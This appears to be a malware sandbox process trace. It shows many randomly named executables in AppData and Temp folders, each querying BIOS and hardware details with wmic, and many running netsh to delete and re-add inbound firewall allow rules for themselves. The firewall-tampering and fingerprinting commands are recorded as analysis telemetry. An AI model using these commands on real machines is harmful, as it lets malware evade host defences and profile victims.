C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=239811e8ca69.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\239811e8ca69.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=239811e8ca69.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\239811e8ca69.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3cbf7daccfe4.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3cbf7daccfe4.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=3cbf7daccfe4.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3cbf7daccfe4.exe2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=3cbf7daccfe4.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3cbf7daccfe4.exe enable=yes2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{5228d115-ac31-bb16-fbb2-009aed7dc660}\1824b793fde8.exeC:\Users\Admin\AppData\Local\Temp\{5228d115-ac31-bb16-fbb2-009aed7dc660}\1824b793fde8.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=1824b793fde8.exe program=C:\Users\Admin\AppData\Local\Temp\{5228d115-ac31-bb16-fbb2-009aed7dc660}\1824b793fde8.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=1824b793fde8.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{5228d115-ac31-bb16-fbb2-009aed7dc660}\1824b793fde8.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{e0fc15b5-7b08-83dc-6cb1-cbd07734b1fc}\b2e860a8c804.exeC:\Users\Admin\AppData\Local\Temp\{e0fc15b5-7b08-83dc-6cb1-cbd07734b1fc}\b2e860a8c804.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=b2e860a8c804.exe program=C:\Users\Admin\AppData\Local\Temp\{e0fc15b5-7b08-83dc-6cb1-cbd07734b1fc}\b2e860a8c804.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=b2e860a8c804.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{e0fc15b5-7b08-83dc-6cb1-cbd07734b1fc}\b2e860a8c804.exe enable=yes2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{7d35712b-e8d3-61ee-6977-f51575b05e41}\984e883c4e02.exeC:\Users\Admin\AppData\Local\Temp\{7d35712b-e8d3-61ee-6977-f51575b05e41}\984e883c4e02.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=984e883c4e02.exe program=C:\Users\Admin\AppData\Local\Temp\{7d35712b-e8d3-61ee-6977-f51575b05e41}\984e883c4e02.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=984e883c4e02.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{7d35712b-e8d3-61ee-6977-f51575b05e41}\984e883c4e02.exe enable=yes2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{5b661825-67f4-924f-1e21-edac961d8049}\dbda0c300f18.exeC:\Users\Admin\AppData\Local\Temp\{5b661825-67f4-924f-1e21-edac961d8049}\dbda0c300f18.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=dbda0c300f18.exe program=C:\Users\Admin\AppData\Local\Temp\{5b661825-67f4-924f-1e21-edac961d8049}\dbda0c300f18.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=dbda0c300f18.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{5b661825-67f4-924f-1e21-edac961d8049}\dbda0c300f18.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{d2716e48-e61c-acc3-26e9-9f1a075ba70b}\19dfff253965.exeC:\Users\Admin\AppData\Local\Temp\{d2716e48-e61c-acc3-26e9-9f1a075ba70b}\19dfff253965.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=19dfff253965.exe program=C:\Users\Admin\AppData\Local\Temp\{d2716e48-e61c-acc3-26e9-9f1a075ba70b}\19dfff253965.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=19dfff253965.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{d2716e48-e61c-acc3-26e9-9f1a075ba70b}\19dfff253965.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\252b5925b833.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\252b5925b833.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=252b5925b833.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\252b5925b833.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=252b5925b833.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\252b5925b833.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exe2⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list3⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list3⤵
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=cb205bd8d8df.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=cb205bd8d8df.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb205bd8d8df.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\2a5057c04fde.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\2a5057c04fde.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=2a5057c04fde.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\2a5057c04fde.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ad217966287d.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ad217966287d.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ad217966287d.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ad217966287d.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{ad64e610-66aa-9317-35cd-cd0e8fb50aa6}\5a17fccbaa02.exeC:\Users\Admin\AppData\Local\Temp\{ad64e610-66aa-9317-35cd-cd0e8fb50aa6}\5a17fccbaa02.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=5a17fccbaa02.exe program=C:\Users\Admin\AppData\Local\Temp\{ad64e610-66aa-9317-35cd-cd0e8fb50aa6}\5a17fccbaa02.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\6ed204339437.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\6ed204339437.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=6ed204339437.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\6ed204339437.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3d2743f361dd.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3d2743f361dd.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=3d2743f361dd.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3d2743f361dd.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{aa1194a9-cf18-020c-9d38-1a6921f9d0ec}\8d0ff82ad939.exeC:\Users\Admin\AppData\Local\Temp\{aa1194a9-cf18-020c-9d38-1a6921f9d0ec}\8d0ff82ad939.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=8d0ff82ad939.exe program=C:\Users\Admin\AppData\Local\Temp\{aa1194a9-cf18-020c-9d38-1a6921f9d0ec}\8d0ff82ad939.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{8f3225fd-666e-8950-b299-f6a8b1e6c44d}\a9cfc16ff6b5.exeC:\Users\Admin\AppData\Local\Temp\{8f3225fd-666e-8950-b299-f6a8b1e6c44d}\a9cfc16ff6b5.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=a9cfc16ff6b5.exe program=C:\Users\Admin\AppData\Local\Temp\{8f3225fd-666e-8950-b299-f6a8b1e6c44d}\a9cfc16ff6b5.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{2464d827-5265-7d5b-162d-850a59899ce8}\71fae902eb64.exeC:\Users\Admin\AppData\Local\Temp\{2464d827-5265-7d5b-162d-850a59899ce8}\71fae902eb64.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\fd9a08f568e9.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\fd9a08f568e9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=fd9a08f568e9.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\fd9a08f568e9.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3ca86b4f3155.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3ca86b4f3155.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=3ca86b4f3155.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3ca86b4f3155.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{3087819c-52ad-1c24-96a5-00b714ae2c6f}\1690dd888417.exeC:\Users\Admin\AppData\Local\Temp\{3087819c-52ad-1c24-96a5-00b714ae2c6f}\1690dd888417.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\b50ff78726aa.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\b50ff78726aa.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=b50ff78726aa.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\b50ff78726aa.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\178fdb905017.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\178fdb905017.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{f5cdb1db-858f-4b7b-45c8-ad321e291f73}\9c3fdc7b1919.exeC:\Users\Admin\AppData\Local\Temp\{f5cdb1db-858f-4b7b-45c8-ad321e291f73}\9c3fdc7b1919.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{0b34429c-53d6-f4f2-1f32-35d3df4ef9e0}\01e3eae684de.exeC:\Users\Admin\AppData\Local\Temp\{0b34429c-53d6-f4f2-1f32-35d3df4ef9e0}\01e3eae684de.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{c127c781-e841-ec6e-e69e-972f9fb1d410}\9c641daadf56.exeC:\Users\Admin\AppData\Local\Temp\{c127c781-e841-ec6e-e69e-972f9fb1d410}\9c641daadf56.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=9c641daadf56.exe program=C:\Users\Admin\AppData\Local\Temp\{c127c781-e841-ec6e-e69e-972f9fb1d410}\9c641daadf56.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{3387ff0d-b4ec-6263-f730-335d27d703dd}\a58ac5bca228.exeC:\Users\Admin\AppData\Local\Temp\{3387ff0d-b4ec-6263-f730-335d27d703dd}\a58ac5bca228.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{a01b0cbc-42c9-248d-693e-b451c40759d0}\3c306aff02c0.exeC:\Users\Admin\AppData\Local\Temp\{a01b0cbc-42c9-248d-693e-b451c40759d0}\3c306aff02c0.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=3c306aff02c0.exe program=C:\Users\Admin\AppData\Local\Temp\{a01b0cbc-42c9-248d-693e-b451c40759d0}\3c306aff02c0.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{6ea65d06-ab81-382c-d5be-80dfbd86d3cf}\3b4b4ea3bfc9.exeC:\Users\Admin\AppData\Local\Temp\{6ea65d06-ab81-382c-d5be-80dfbd86d3cf}\3b4b4ea3bfc9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\e0fe962c95cb.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\e0fe962c95cb.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ff415f9333b6.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ff415f9333b6.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cc7f3e7ada94.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cc7f3e7ada94.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{557e3f2e-c428-29bc-4dcf-50d92b381443}\6bc70a15f997.exeC:\Users\Admin\AppData\Local\Temp\{557e3f2e-c428-29bc-4dcf-50d92b381443}\6bc70a15f997.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{a970d491-ce17-b9a9-3a86-2e8fc382e64a}\42d657612bb9.exeC:\Users\Admin\AppData\Local\Temp\{a970d491-ce17-b9a9-3a86-2e8fc382e64a}\42d657612bb9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\6de7496260ba.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\6de7496260ba.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d7df58193491.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d7df58193491.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\8eac76bbf6f8.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\8eac76bbf6f8.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\0e052b213197.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\0e052b213197.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{ccc52758-c2d1-f9c1-dd25-16cbbf66b069}\0319939dc1e1.exeC:\Users\Admin\AppData\Local\Temp\{ccc52758-c2d1-f9c1-dd25-16cbbf66b069}\0319939dc1e1.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\95313ced1208.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\95313ced1208.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{c75676c0-a513-0f39-b4ae-23384c64c6a4}\fc463e35d253.exeC:\Users\Admin\AppData\Local\Temp\{c75676c0-a513-0f39-b4ae-23384c64c6a4}\fc463e35d253.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{6e6d648b-539e-a505-cf41-51c14442d806}\a448a1e74fa2.exeC:\Users\Admin\AppData\Local\Temp\{6e6d648b-539e-a505-cf41-51c14442d806}\a448a1e74fa2.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\35a3016c4bda.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\35a3016c4bda.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\25d501743ce9.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\25d501743ce9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{ca6f6827-145f-7852-f85f-3364f403d7bb}\9ecbb60658c0.exeC:\Users\Admin\AppData\Local\Temp\{ca6f6827-145f-7852-f85f-3364f403d7bb}\9ecbb60658c0.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{92a6ba45-2819-bd0d-2043-51196784f928}\3b43c1d1f2e9.exeC:\Users\Admin\AppData\Local\Temp\{92a6ba45-2819-bd0d-2043-51196784f928}\3b43c1d1f2e9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\226716218238.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\226716218238.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{0ba3dca4-d9a9-8cd4-ea49-f9766498c45c}\cf68fe2b907c.exeC:\Users\Admin\AppData\Local\Temp\{0ba3dca4-d9a9-8cd4-ea49-f9766498c45c}\cf68fe2b907c.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\f2884fd537e6.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\f2884fd537e6.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\53abb6402793.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\53abb6402793.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{ab602000-7c19-9ac2-86f4-35c2ed656ec5}\ed8f25dfa4b2.exeC:\Users\Admin\AppData\Local\Temp\{ab602000-7c19-9ac2-86f4-35c2ed656ec5}\ed8f25dfa4b2.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\7344e94254a2.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\7344e94254a2.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{03877ec3-eae8-266a-2397-480001538237}\259db6cf1cf8.exeC:\Users\Admin\AppData\Local\Temp\{03877ec3-eae8-266a-2397-480001538237}\259db6cf1cf8.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{b8ce3bc6-99fb-2a9c-fe6c-4b366a39d4db}\89f013e0b01c.exeC:\Users\Admin\AppData\Local\Temp\{b8ce3bc6-99fb-2a9c-fe6c-4b366a39d4db}\89f013e0b01c.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb1934fdd2ad.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\cb1934fdd2ad.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d8cb11cfd090.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d8cb11cfd090.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\94c7e1621797.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\94c7e1621797.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3310a96c14b7.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3310a96c14b7.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{8f551d1a-1f23-39bf-8649-6eb4fe52a630}\a3498e24bd89.exeC:\Users\Admin\AppData\Local\Temp\{8f551d1a-1f23-39bf-8649-6eb4fe52a630}\a3498e24bd89.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\a3e9b551b5b3.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\a3e9b551b5b3.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{0907af05-452f-2a74-d893-8b71f40202d0}\d18a94c9a161.exeC:\Users\Admin\AppData\Local\Temp\{0907af05-452f-2a74-d893-8b71f40202d0}\d18a94c9a161.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\{7a170119-74ac-0249-3fcd-7ac1e42d64e9}\6ae615e935e1.exeC:\Users\Admin\AppData\Local\Temp\{7a170119-74ac-0249-3fcd-7ac1e42d64e9}\6ae615e935e1.exe1⤵
-
